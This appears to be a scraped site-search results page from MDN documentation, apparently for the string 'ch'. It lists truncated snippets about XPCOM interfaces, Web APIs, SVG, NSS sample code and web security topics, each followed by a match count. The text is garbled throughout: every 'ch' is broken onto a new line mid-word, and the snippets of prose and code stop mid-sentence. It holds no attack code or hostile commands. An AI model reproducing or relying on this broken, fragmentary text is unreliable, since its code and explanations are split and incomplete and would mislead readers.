characterset(out acstring
charset, out boolean overriden); void get
charactersetoverride(out boolean
charactersetoverride); obsolete since gecko 1.8 string get
charp...
...tr
characterset(); string get
charptrproperty(in string propertyname); void getlocale(in nsstring result); native code only!
...And 9 more matches
nsIDOMEvent
inherits from: nsisupports last
changed in gecko 16.0 (firefox 16.0 / thunderbird 16.0 / seamonkey 2.13) note: as of gecko 16.0, the nsiprivatedomevent interface was merged into this interface.
... nseventptr getinternalnsevent(); violates the xpcom interface guidelines boolean getpreventdefault(); deprecated since gecko 16.0 void initevent(in domstring eventtypearg, in boolean canbubblearg, in boolean cancelablearg); boolean isdispat
chstopped(); violates the xpcom interface guidelines void preventbubble(); obsolete since gecko 24 void preventcapture(); obsolete since gecko 24 void preventdefault(); void serialize(in ipcmessageptr amsg, in boolean aserializeinterfacetype); violates the xpcom interface guidelines void settarget(in nsidomeventtarget atarget); native code only!
... eventphase unsigned short used to indicate whi
ch phase of event flow is currently being evaluated.
...And 9 more matches
nsIDOMWindowInternal
dom/interfaces/base/nsidomwindowinternal.idlscriptable this interface is part of a
chain of interfaces used to represent a window in the dom.
... 66 introduced gecko 1.0 deprecated gecko 8.0 inherits from: nsidomwindow last
changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) in gecko 8.0 this interface was merged into the nsidomwindow interface.
... it provides many of the common functions used in javascript su
ch as alert() or open().
...And 9 more matches
nsIMsgHeaderParser
inherits from: nsisupports last
changed in gecko 1.9 (firefox 3) to create an instance, use: var msgheaderparser = components.classes["@mozilla.org/messenger/headerparser;1"] .createinstance(components.interfaces.nsimsgheaderparser); method overview string extractheaderaddressmailboxes(in string line); void extractheaderaddressname(in string line, out string name); void extractheaderaddressnames(in string line, out string usernames); astring makefulladdress(in astring aname, in astring aaddress); string makefulladdress...
...dresses(in wstring line); void removeduplicateaddresses(in string addrs, in string other_addrs, in prbool removealiasestome, out string newaddress); string unquotephraseoraddr(in string line, in boolean preserveintegrity); wstring unquotephraseoraddrwstring(in wstring line, in boolean preserveintegrity); methods extractheaderaddressmailboxes() given a string whi
ch contains a list of header addresses, returns a comma-separated list of just the 'mailbox' portions.
... exceptions thrown missing exception missing description native code only!extractheaderaddressnames given a string whi
ch contains a list of header addresses, returns a comma-separated list of just the 'user name' portions.
...And 9 more matches
nsIMsgThread
inherits from: nsisupports method overview void add
child(in nsimsgdbhdr
child, in nsimsgdbhdr inreplyto, in boolean threadinthread, in nsidb
changeannouncer announcer); nsimsgdbhdr get
childat(in long index); nsmsgkey get
childkeyat(in long index); nsimsgdbhdr get
child(in nsmsgkey msgkey); nsimsgdbhdr get
childhdrat(in long index); nsimsgdbhdr getroothdr(out long index); void remove
childat(in long index); void remove
childhdr(in nsimsgdbhdr
child, in nsidb
changeannouncer announcer); void mark
childread(in boolean bread); nsimsgdbhdr getfirstunread
child(); nsisimpleenumerator enumeratemessages(in nsmsgkey parent); ...
... flags unsigned long flags atta
ched to the thread.
... subject acstring subject of the thread newestmsgdate unsigned long num
children unsigned long readonly: number of messages in the thread.
...And 9 more matches
nsINavHistoryResultViewObserver
inherits from: nsisupports last
changed in gecko 1.9.0 method overview boolean candrop(in long index, in long orientation); void ondrop(in long row, in long orientation); void ontoggleopenstate(in long index); void oncycleheader(in nsitreecolumn column); void oncyclecell(in long row, in nsitreecolumn column); void onselection
changed(); void onperformaction(in wstring action); void onperformactiononrow(in wstring action, in long row); void onperformactiononcell(in wstring a...
... warning: do not
change the content of the observer list.
... boolean candrop( in long index, in long orientation ); parameters index the item over whi
ch the drag is currently located.
...And 9 more matches
nsIPrefService
the preference service is directly responsible for the management of the preferences files and also facilitates access to the preference bran
ch object whi
ch allows the direct manipulation of the preferences themselves.
... inherits from: nsisupports last
changed in gecko 1.7 method overview nsiprefbran
ch getbran
ch(in string aprefroot); nsiprefbran
ch getdefaultbran
ch(in string aprefroot); void readuserprefs(in nsifile afile); void resetprefs(); void resetuserprefs(); void savepreffile(in nsifile afile); methods getbran
ch() call to get a preferences "bran
ch" whi
ch accesses user preference data.
... nsiprefbran
ch getbran
ch( in string aprefroot ); parameters aprefroot the preference root tree on whi
ch to base this bran
ch.
...And 9 more matches
nsIProgressEventSink
netwerk/base/public/nsiprogresseventsink.idlscriptable this interface is used to asyn
chronously convey
channel status and progress information that is generally not critical to the processing of the
channel.
... inherits from: nsisupports last
changed in gecko 1.7 this interface is used to asyn
chronously convey
channel status and progress information that is generally not critical to the processing of the
channel.
...an implementation of this interface can be passed to a
channel via the
channel's notificationcallbacks attribute.
...And 9 more matches
Using nsIDirectoryService
apart from this interface there is a function, registerprovider whi
ch will allow you to register a nsidirectoryserviceprovider, whi
ch implements the getfile callback function: var provider = { getfile : function(prop, persistant) { // return an nsifile }, } components.classes["@mozilla.org/file/directory_service;1"] .getservice(components.interfaces.nsidirectoryservice).registerprovider(provider); when the callback is called, it will be passed the string key...
...the persistant flag allows you to specify if you want the nsdirectoryservice to ca
che this value.
...known locations the nsiproperties strings for currently defined locations can be found in: nsdirectoryservicedefs.h nsappdirectoryservicedefs.h nsxulappapi.h content formerly at http://www.mozilla.org/projects/xpco...locations.html background the way in whi
ch mozilla components locate special files and directories has
changed.
...And 9 more matches
XPCOM ABI
while xpcom components written in a scripting language (su
ch as javascript) can be moved across platforms (su
ch as windows and os x) without adaptation, those written in a compiled language (su
ch as c++) require recompilation when moving to a different platform.
... a binary xpcom component consists of an .xpt file whi
ch fits all platforms and a dll (.dll on windows, .so on unix) whi
ch is platform-specific and has a certain abi.
... only applications whi
ch use this abi could use this xpcom component.
...And 9 more matches
Using the Mozilla symbol server
in the examples below, a local ca
che directory is used to avoid repeatedly fet
ching the pdb from the server.
... replace c:\users\bsmedberg\symbols with an appropriate ca
che directory on your ma
chine.
... using the symbol server in microsoft visual c++ using the symbol server in windbg the windbg symbol path is configured with a string value delimited with asterisk
characters.
...And 9 more matches
Declaring types
every type is represented by a ctype object, whi
ch, in turn, provides a constructor method you can call to define values of those types.
... ea
ch type you declare using js-ctypes corresponds to a compatible c declaration.
...these are all primitive types, upon whi
ch all other types are eventually based.
...And 9 more matches
CData
methods available on string objects these methods must be called on objects that are arrays or pointers to 8-bit or 16-bit
character or integer types, terminated by a null
character.
... readstring() converts a
character array to a javascript string.
... if the 8-bit string contains invalid encoded
character, a typeerror exception is thrown.
...And 9 more matches
Set event listener breakpoints - Firefox Developer Tools
to break when event listeners are hit,
check the boxes next the events you are interested in.
... all of the standard events supported in your version of firefox are listed, arranged by whi
ch api or api area they're part of.
... you could add regular breakpoints at the entry point of the listener to a
chieve the same effect.
...And 9 more matches
Animating CSS properties - Firefox Developer Tools
with css animations you specify a number of keyframes, ea
ch of whi
ch uses css to define the appearance of the element at a particular stage of the animation.
... the browser creates the animation as a transition from ea
ch keyframe to the next.
... the css rendering waterfall the process the browser uses to update the page when a css property has
changed can be described as a waterfall consisting of the following steps: recalculate style: every time a css property for an element
changes, the browser must recalculate computed styles.
...And 9 more matches
UI Tour - Firefox Developer Tools
the performance tool's ui consists of 4 main pieces: toolbar recordings pane recording overview details pane, whi
ch may contain any one of: waterfall call tree flame
chart toolbar the toolbar contains buttons to: start and stop a recording import a recording you previously saved clear the recordings pane.
... filter the markers that are displayed in the waterfall view swit
ch the active tool in the details pane.
... waterfall overview this presents a compressed view of the waterfall: recorded operations are color-coded using the same s
cheme as in the main waterfall view.
...And 9 more matches
AudioParam.value - Web APIs
consider this example: const source = new audiobuffersourcenode(...); const rate = 5.3; source.playbackrate.value = rate; console.log(source.playbackrate.value === rate); the log output will be false, because the playback rate parameter, rate, was converted to the 32-bit floating-point number closest to 5.3, whi
ch yields 5.300000190734863.
... one solution is to use the math.fround() method, whi
ch returns the single-precision value equivalent to the 64-bit javascript value specified—when setting value, like this: const source = new audiobuffersourcenode(...); const rate = math.fround(5.3); source.playbackrate.value = rate; console.log(source.playbackrate.value === rate); in this case, the log output will be true.
... value of a property whi
ch is
changing over time the value of an audioparam can either be fixed or can vary over time.
...And 9 more matches
BaseAudioContext.createScriptProcessor() - Web APIs
syntax var scriptprocessor = audioctx.createscriptprocessor(buffersize, numberofinput
channels, numberofoutput
channels); parameters buffersize the buffer size in units of sample-frames.
...if it's not passed in, or if the value is 0, then the implementation will
choose the best buffer size for the given environment, whi
ch will be a constant power of 2 throughout the lifetime of the node.
... this value controls how frequently the audioprocess event is dispat
ched and how many sample-frames need to be processed ea
ch call.
...And 9 more matches
CSS Typed Object Model API - Web APIs
generally, css values can be read and written in javascript as strings, whi
ch can be slow and cumbersome.
...it is also generally faster, as values can be directly manipulated and then
cheaply translated back into underlying values without having to both build and parse strings of css.
... cssstylevalue.parseall() the parseall() method of the cssstylevalue interface sets all occurences of a specific css property to the specified valueand returns an array of cssstylevalue objects, ea
ch containing one of the supplied values.
...And 9 more matches
CanvasRenderingContext2D.filter - Web APIs
the canvasrenderingcontext2d.filter property of the canvas 2d api provides filter effects su
ch as blurring and grayscaling.
...takes an iri pointing to an svg filter element, whi
ch may be embedded in an external xml file.
...it defines the value of the standard deviation to the gaussian function, i.e., how many pixels on the screen blend into ea
ch other; thus, a larger value will create more blur.
...And 9 more matches
Document.querySelector() - Web APIs
the document method queryselector() returns the first element within the document that mat
ches the specified selector, or group of selectors.
... if no mat
ches are found, null is returned.
... note: the mat
ching is done using depth-first pre-order traversal of the document's nodes starting with the first element in the document's markup and iterating through sequential nodes by order of the number of
child nodes.
...And 9 more matches
Document Object Model (DOM) - Web APIs
the document object model (dom) connects web pages to scripts or programming languages by representing the structure of a document—su
ch as the html representing a web page—in memory.
... usually, that means javascript, although modeling html, svg, or xml documents as objects are not part of the core javascript language, as su
ch.
...ea
ch bran
ch of the tree ends in a node, and ea
ch node contains objects.
...And 9 more matches
Element.getClientRects() - Web APIs
the getclientrects() method of the element interface returns a collection of domrect objects that indicate the bounding rectangles for ea
ch css border box in a client.
... syntax let rectcollection = object.getclientrects(); return value the returned value is a collection of domrect objects, one for ea
ch css border box associated with the element.
... ea
ch domrect object contains read-only left, top, right and bottom properties describing the border box, in pixels, with the top-left relative to the top-left of the viewport.
...And 9 more matches
FederatedCredential - Web APIs
in browsers that support it, an instance of this interface may be passed in the credential member of the init object for global fet
ch.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetfederatedcredential experimental
chrome full support 51edge full support ≤79firefox ?
...And 9 more matches
FileException - Web APIs
in the file system api, a fileexception object represents error conditions that you might encounter while accessing the file system using the syn
chronous api.
... basic concepts syn
chronous apis do not have error callbacks, whi
ch makes it difficult to cat
ch errors.
... the added complexity of using webworkers with this api makes debugging even more
challenging.
...And 9 more matches
HTMLAreaElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlareaelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">...
...And 9 more matches
HTMLTableCellElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltablecellelement" target="_top"><rect x="291" y="65" width="200" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="mid...
...And 9 more matches
IDBCursorWithValue - Web APIs
the cursor has a source that indicates whi
ch index or object store it is iterating over.
...the cursor enables an application to asyn
chronously process all the records in the cursor's range.
...: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/idbcursor" target="_top"><rect x="1" y="1" width="90" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="46" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">idbcursor</text></a><polyline points="91,25 101,20 101,30 91,25" stroke="#d4dde4" fill="none"/><line x1="101" y1="25" x2="131" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/idbcursorwithvalue" target="_top"><rect x="131" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="221" y="30" font-size="12px" font-...
...And 9 more matches
InstallEvent - Web APIs
the parameter passed into the oninstall handler, the installevent interface represents an install action that is dispat
ched on the serviceworkerglobalscope of a serviceworker.
... as a
child of extendableevent, it ensures that functional events su
ch as fet
chevent are not dispat
ched during installation.
...ow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/extendableevent" target="_top"><rect x="116" y="1" width="150" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="191" y="30" font-size="12px" font-family="conso...
...And 9 more matches
KeyboardEvent.code - Web APIs
the keyboardevent.code property represents a physical key on the keyboard (as opposed to the
character generated by pressing the key).
... if the input device isn't a physical keyboard, but is instead a virtual keyboard or accessibility device, the returned value will be set by the browser to mat
ch as closely as possible to what would happen with a physical keyboard, to maximize compatibility between physical and virtual input devices.
... this property is useful when you want to handle keys based on their physical positions on the input device rather than the
characters associated with those keys; this is especially common when writing code to handle input for games that simulate a gamepad-like environment using keys on the keyboard.
...And 9 more matches
MediaDevices.getDisplayMedia() - Web APIs
the mediadevices interface's getdisplaymedia() method prompts the user to select and grant permission to capture the contents of a display or portion thereof (su
ch as a window) as a mediastream.
... note: browser support for audio tracks varies, both in terms of whether or not they're supported at all by the media recorder and in terms of the whi
ch audio source or sourcoes are supported.
...
check the compatibility table for details for ea
ch browser.
...And 9 more matches
MediaRecorder - Web APIs
options are available to do things like set the container's mime type (su
ch as "video/webm" or "video/mp4") and the bit rates of the audio and video tracks or a single overall bit rate.
...if this is specified, the media will be captured in separate
chunks of that duration, rather than the default behavior of recording the media in a single large
chunk.
... mediarecorder.stop() stops recording, at whi
ch point a dataavailable event containing the final blob of saved data is fired.
...And 9 more matches
MutationObserver.MutationObserver() - Web APIs
the dom mutationobserver() constructor — part of the mutationobserver interface — creates and returns a new observer whi
ch invokes a specified callback when dom events occur.
... dom observation does not begin immediately; the observe() method must be called first to establish whi
ch portion of the dom to wat
ch and what kinds of
changes to wat
ch for.
... syntax const observer = new mutationobserver(callback) parameters callback a function whi
ch will be called on ea
ch dom
change that qualifies given the observed node or subtree and options.
...And 9 more matches
ParentNode.querySelectorAll() - Web APIs
the parentnode mixin defines the queryselectorall() method as returning a nodelist representing a list of elements mat
ching the specified group of selectors whi
ch are descendants of the object on whi
ch the method was called.
... note: this method is implemented as element.queryselectorall(), document.queryselectorall(), and documentfragment.queryselectorall() syntax elementlist = parentnode.queryselectorall(selectors); parameters selectors a domstring containing one or more selectors to mat
ch against.
... note:
characters whi
ch are not part of standard css syntax must be escaped using a backslash
character.
...And 9 more matches
Performance budgets - Web Performance
a budget exists to reflect your rea
chable goals.
... the warning level allows you to be proactive and plan any te
ch debt, while not blocking development or deploys.
... the error level is an upper bound limit, where
changes will have a negative and noticeable impact.
...And 9 more matches
Performance Monitoring: RUM vs synthetic monitoring - Web Performance
synthetic monitoring and real user monitoring (rum) are two approa
ches for monitoring and providing insight into web performance.
...in this article we define and compare these two performance monitoring approa
ches.
...it is done in a controlled environment where variable like geography, network, device, browser, and ca
ched status are predetermined.
...And 9 more matches
Getting started - SVG: Scalable Vector Graphics
<svg version="1.1" baseprofile="full" width="300" height="200" xmlns="http://www.w3.org/2000/svg"> <rect width="100%" height="100%" fill="red" /> <circle cx="150" cy="100" r="80" fill="green" /> <text x="150" y="125" font-size="60" text-an
chor="middle" fill="white">svg</text> </svg> copy the code and paste it in a file demo1.svg.
...the interior of ea
ch letter is filled in with white.
... the text is positioned by setting an an
chor where we want the midpoint to be: in this case, the midpoint should correspond to the center of the green circle.
...And 9 more matches
SVG fonts - SVG: Scalable Vector Graphics
since accessing the correct font file is however crucial for rendering text correctly, a font description te
chnology was added to svg to provide this ability.
...internet explorer hasn't considered implementing this, the functionality has been removed from
chrome 38 (and opera 25) and firefox has postponed its implementation indefinitely to concentrate on woff.
...the horiz-adv-x attribute determines how wide a
character is on average compared to the path definitions of the single glyphs.
...And 9 more matches
Certificate Transparency - Web security
newly issued certificates are 'logged' to publicly run, often independent ct logs whi
ch maintain an append-only, cryptographically assured record of issued tls certificates.
... in this way, certificate authorities (cas) can be subject to mu
ch greater public scrutiny and oversight.
... potentially malicious certificates, su
ch as those that violate the ca/b forum baseline requirements, can be detected and revoked mu
ch more quickly.
...And 9 more matches
Referer header: privacy and security concerns - Web security
the referrer problem the referer (sic) header contains the address of the previous web page from whi
ch a link to the currently requested page was followed, whi
ch has lots of fairly innocent uses including analytics, logging, or optimized ca
ching.
... however, there are more problematic uses su
ch as tracking or stealing information, or even just side effects su
ch as inadvertently leaking sensitive information.
... mu
ch of this risk can be mitigated by sensible design of applications.
...And 9 more matches
<xsl:number> - XSLT: Extensible Stylesheet Language Transformations
syntax <xsl:number count=expression level="single" | "multiple" | "any" from=expression value=expression format=format-string lang=xml:lang-code letter-value="alphabetic" | "traditional" grouping-separator=
character grouping-size=number /> required attributes none.
...the processor goes to the first node in the ancestor-or-self axis that mat
ches the count attribute and then counts that node plus all its preceding siblings (stopping when it rea
ches a mat
ch to the from attribute, if there is one) that also mat
ch the count attribute.if no mat
ch is found, the sequence will be an empty list.
... multiple numbers nodes as a composite sequence that reflects the hierar
chic position of the node, e.g.
...And 9 more matches
Loading and running WebAssembly code - WebAssembly
this article provides a reference for the different me
chanisms that can be used to fet
ch webassembly bytecode, as well as how to compile/instantiate then run it.
... webassembly is not yet integrated with <script type='module'> or es2015 import statements, thus there is not a path to have the browser fet
ch modules for you using imports.
... the older webassembly.compile/webassembly.instantiate methods require you to create an arraybuffer containing your webassembly module binary after fet
ching the raw bytes, and then compile/instantiate it.
...And 9 more matches
Build the brick field - Game development
after modifying the gameplay me
chanics, we are now able to lose — this is great as it means the game is finally feeling more like a game.
...first however we need to set up some variables to define information about the bricks su
ch as their width and height, rows and columns, etc.
... add the following lines to your code below the variables whi
ch you have previously declared in your program.
...And 8 more matches
Build the brick field - Game development
7 }, offset: { top: 50, left: 60 }, padding: 10 }; } this brickinfo object will hold all the information we need: the width and height of a single brick, the number of rows and columns of bricks we will see on screen, the top and left offset (the location on the canvas where we shall start to draw the bricks) and the padding between ea
ch row and column of bricks.
... now, let's start creating the bricks themselves — add an empty group first to contain the bricks, by adding the following line at the bottom of the initbricks() function: bricks = game.add.group(); we can loop through the rows and columns to create new brick on ea
ch iteration — add the following nested loop below the previous line of code: for(c=0; c<brickinfo.count.col; c++) { for(r=0; r<brickinfo.count.row; r++) { // create new brick and add it to the group } } this way we will create the exact number of bricks we need and have them all contained in a group.
... now we need to add some code inside the nested loop stucture to draw ea
ch brick.
...And 8 more matches
XInclude - MDN Web Docs Glossary: Definitions of Web-related terms
'); if (xincludes) { for (i=0; i < xincludes.length; i++) { var xinclude = xincludes[i]; var href = xinclude.getattribute('href'); var parse = xinclude.getattribute('parse'); var xpointer = xinclude.getattribute('xpointer'); var encoding = xinclude.getattribute('encoding'); // e.g., utf-8 // "text/xml or application/xml or mat
ches text/*+xml or application/*+xml" before encoding (then utf-8) var accept = xinclude.getattribute('accept'); // header "accept: "+x var acceptlanguage = xinclude.getattribute('accept-language'); // "accept-language: "+x var xifallback = xinclude.getelementsbytagnamens('http://www.w3.org/2001/xinclude', 'fallback')[0]; // only one su
ch child is allowed ...
...ts to same document if empty (null is equivalent to empty string) href = null; // set for uniformity in testing below if (parse === 'xml' && xpointer === null) { alert('there must be an xpointer attribute present if "href" is empty an parse is "xml"'); return false; } } else if (href.mat
ch(/#$/, '') || href.mat
ch(/^#/, '')) { alert('fragment identifiers are disallowed in an xinclude "href" attribute'); return false; } var j; var xincludeparent = xinclude.parentnode; try { netscape.security.privilegemanager.enableprivilege('universalxpconnect universalbrowserread'); // necessary with file...
...:///-located files trying to rea
ch external sites if (href !== null) { var response, responsetype; var request = new xmlhttprequest(); request.open('get', href, false); request.setrequestheader('if-modified-since', 'thu, 1 jan 1970 00:00:00 gmt'); request.setrequestheader('ca
che-control', 'no-ca
che'); if (accept) { request.setrequestheader('accept', accept); } if (acceptlanguage) { request.setrequestheader('accept-language', acceptlanguage); } swit
ch (parse) { case 'text': // prior...
...And 8 more matches
Test Your Skills: Fundamental layout comprehension - Learn web development
this task will test some of your knowledge by way of developing a simple webpage layout using a variety of te
chniques.
... note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool su
ch as codepen, jsfiddle, or glit
ch to work on the tasks.
... project brief you have been provided with some raw html, basic css, and images — now you need to create a layout for the design, whi
ch should look just like the image below.
...And 8 more matches
How CSS works - Learn web development
it processes the document in a number of stages, whi
ch we've listed below.
... the browser then fet
ches most of the resources that are linked to by the html document, su
ch as embedded images and videos ...
... the browser parses the fet
ched css, and sorts the different rules by their selector types into different "buckets", e.g.
...And 8 more matches
Test your skills: Advanced styling - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool su
ch as codepen, jsfiddle, or glit
ch to work on the tasks.
... advanced form styling 1 in our first advanced styling tasks, we want you to handle making a sear
ch input as consistent as possible across browsers — a trickier task than with standard text inputs, even on modern browsers.
... first of all, try giving the sear
ch box a consistent width, height, padding, and border color across browsers.
...And 8 more matches
Function return values - Learn web development
when the function completes (finishes running), it returns a value, whi
ch is a new string with the replacement made.
...you want to get to a final result, whi
ch involves some values that need to be calculated by a function.
...our draw() function draws 100 random circles somewhere on an html <canvas>: function draw() { ctx.clearrect(0, 0, width, height); for (let i = 0; i < 100; i++) { ctx.beginpath(); ctx.fillstyle = 'rgba(255,0,0,0.5)'; ctx.arc(random(width), random(height), random(50), 0, 2 * math.pi); ctx.fill(); } } inside ea
ch loop iteration, three calls are made to the random() function, to generate a random value for the current circle's x-coordinate, y-coordinate, and radius, respectively.
...And 8 more matches
Anonymous Shared Memory
this
chapter describes the nspr api for anonymous shared memory.
...the anonymous file-mapped shared memory provides an inheritable shared memory, as in: the
child process inherits the shared memory.
...the intent is to provide a shared memory that is accessbile only by parent and
child processes.
...And 8 more matches
Certificate functions
the mozilla cross reference (mxr) link for ea
ch function provides access to the function definition, prototype definition, and source code references.
... the nss version column indicates whi
ch versions of nss support the function.
... function name/documentation source code nss versions cert_addcerttolisttail mxr 3.2 and later cert_addextension mxr 3.5 and later cert_addocspacceptableresponses mxr 3.6 and later cert_addokdomainname mxr 3.4 and later cert_addrdn mxr 3.2.1 and later cert_asciitoname mxr 3.2 and later cert_ca
checrl mxr 3.10 and later cert_clearocspca
che mxr 3.11.7 and later cert_cert
chainfromcert mxr 3.2 and later cert_certlistfromcert mxr 3.2 and later cert_certtimesvalid mxr 3.2 and later cert_
changecerttrust mxr 3.2 and later cert_
checkcertvalidtimes mxr 3.2 and later cert_
checknamespace mxr ...
...And 8 more matches
NSS 3.45 release notes
introduction the nss team has released network security services (nss) 3.45 on 5 july 2019, whi
ch is a minor release.
... the nss team would like to recognize first-time contributors: bastien abadie
christopher patton jeremie courreges-anglas marcus burghardt mi
chael shigorin tomas mraz distribution information the hg tag is nss_3_45_rtm.
...if no su
ch certificates can be found, returns secsuccess and sets *results to null.
...And 8 more matches
NSS Sample Code Sample_2_Initialization of NSS
sample code 1 /* nspr headers */ #include <prthread.h> #include <plgetopt.h> #include <prprf.h> /* nss headers */ #include <nss.h> #include <pk11func.h> #include "util.h" /* print a usage message and exit */ static void usage(const
char *progname) { fprintf(stderr, "\nusage: %s -d <dbdirpath> [-p <plainpasswc>]" " [-f <passwdffile>]\n\n", progname); fprintf(stderr, "%-15s specify a db directory path\n\n", "-d <dbdirpath>"); fprintf(stderr, "%-15s specify a plaintext password\n\n", "-p <plainpasswc>"); fprintf(stderr, "%-15s specify a password file\...
...n\n", "-f <plainpasswc>"); exit(-1); } /* initialize the slot password */
char *initslotpassword(pk11slotinfo *slot, prbool retry, void *arg) { file *input; file *output;
char *p0 = null;
char *p1 = null; secupwdata *pwdata = (secupwdata *) arg; if (pwdata->source == pw_fromfile) { return filepasswd(slot, retry, pwdata->data); } if (pwdata->source == pw_plaintext) { return pl_strdup(pwdata->data); } /* open terminal */ input = fopen("/dev/tty", "r"); if (input == null) { pr_fprintf(pr_stderr, "error opening input terminal for read\n"); return null; } /* we have no password, so initialize database with one */ pr_fprintf(pr_stderr, "enter a p...
...assword whi
ch will be used to encrypt your keys.\n" "the password should be at least 8
characters long,\n" "and should contain at least one non-alphabetic
character.\n\n"); output = fopen("/dev/tty", "w"); if (output == null) { pr_fprintf(pr_stderr, "error opening output terminal for write\n"); return null; } for (;;) { if (p0) port_free(p0); p0 = getpassword(input, output, "enter new password: ",
checkpassword); if (p1) port_free(p1); p1 = getpassword(input, output, "re-enter password: ",
checkpassword); if (p0 && p1 && !port_strcmp(p0, p1)) { break; } pr_fprintf(pr_stderr, ...
...And 8 more matches
NSS tools : crlutil
ea
ch command takes one option.
... ea
ch option may take zero or more arguments.
... -m modify existing crl whi
